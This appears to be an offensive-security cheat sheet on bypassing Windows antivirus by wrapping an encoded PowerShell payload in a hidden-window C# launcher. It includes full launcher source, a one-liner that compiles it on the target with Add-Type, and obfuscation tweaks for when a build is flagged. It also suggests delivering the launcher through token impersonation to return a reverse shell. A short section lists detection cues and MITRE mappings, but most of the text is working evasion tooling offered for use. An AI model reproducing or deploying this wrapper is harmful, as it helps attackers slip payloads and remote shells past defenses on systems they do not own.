Bypass Windows Antivirus with a C# Wrapper

A lightweight, high-success AV-evasion trick: wrap a PowerShell payload inside a compiled C# launcher. Signature engines heavily favor known script and binary artifacts, and a freshly compiled throwaway .NET executable that merely spawns powershell.exe -enc <blob> historically sails past static analysis — C# payload analysis in consumer AV has long been shallow compared to PowerShell script inspection, where AMSI gives the engine deep visibility. (As of the source note’s September 2022 assessment, minimal tweaking was needed; treat modern Defender/EDR as a moving target.)

The wrapper

The pattern is a Process start with a hidden window launching a base64-encoded (-enc) PowerShell command:

using System;
namespace Game
{
    public class Program
    {
        public static void Main() {
            System.Diagnostics.Process P = new System.Diagnostics.Process();
            System.Diagnostics.ProcessStartInfo SI = new System.Diagnostics.ProcessStartInfo();
            SI.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            SI.FileName = "powershell.exe";
            SI.Arguments = "-enc $BASE64_ENCODED_SCRIPT_TO_RUN";
            P.StartInfo = SI;
            P.Start();
        }
    }
}

Obfuscation knobs when a build does get flagged: rename namespace/class, vary the window style, split the powershell.exe string, or swap -enc for -ec/-e shorthand.

Compile on-target with PowerShell

No Visual Studio required — Add-Type invokes the in-box .NET compiler (csc via CodeDOM), so the binary can be built on the target itself, avoiding any cross-boundary transfer of a precompiled (and reputation-scored) executable:

$code = @"
using System;
namespace Game
{
    public class Program
    {
        public static void Main() {
            System.Diagnostics.Process P = new System.Diagnostics.Process();
            System.Diagnostics.ProcessStartInfo SI = new System.Diagnostics.ProcessStartInfo();
            SI.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
            SI.FileName = "powershell.exe";
            SI.Arguments = "-enc $BASE64_ENCODED_SCRIPT_TO_RUN";
            P.StartInfo = SI;
            P.Start();
        }
    }
}
"@
Add-Type -OutputType ConsoleApplication -OutputAssembly $BINARY_NAME -TypeDefinition $code -Language CSharp

Operational use case from the source note: deliver the compiled binary remotely via an impersonation-capable tool (e.g. Invoke-Mimikatz-style token passing) so the launcher runs with the impersonated user’s privileges and returns a shell in that context — a natural pairing with potato-style token theft. The base64 blob inside is typically a powercat or powershell-reverse-shell cradle.

Caveats and detection

• EDR > AV: behavior-based engines flag * → powershell.exe -enc parent-child chains regardless of the parent’s provenance; AMSI still scans the decoded PowerShell at runtime unless bypassed
• Add-Type compilation on target writes temporary files under %TEMP% and emits csc/cvtres child processes from PowerShell — Sysmon EID 1 catches the chain
• MITRE mapping: T1027 (Obfuscated Files or Information) for the wrapper, T1059.001 for the PowerShell payload, T1562.001 when combined with defense tampering

Sources

• MITRE ATT&CK T1027 — Obfuscated Files or Information
• Microsoft Learn — Add-Type cmdlet
• Command and Scripting Interpreter: PowerShell

Related: amsi-bypass, powercat, powershell-reverse-shell, seimpersonate-token-abuse, windows-reconnaissance-commands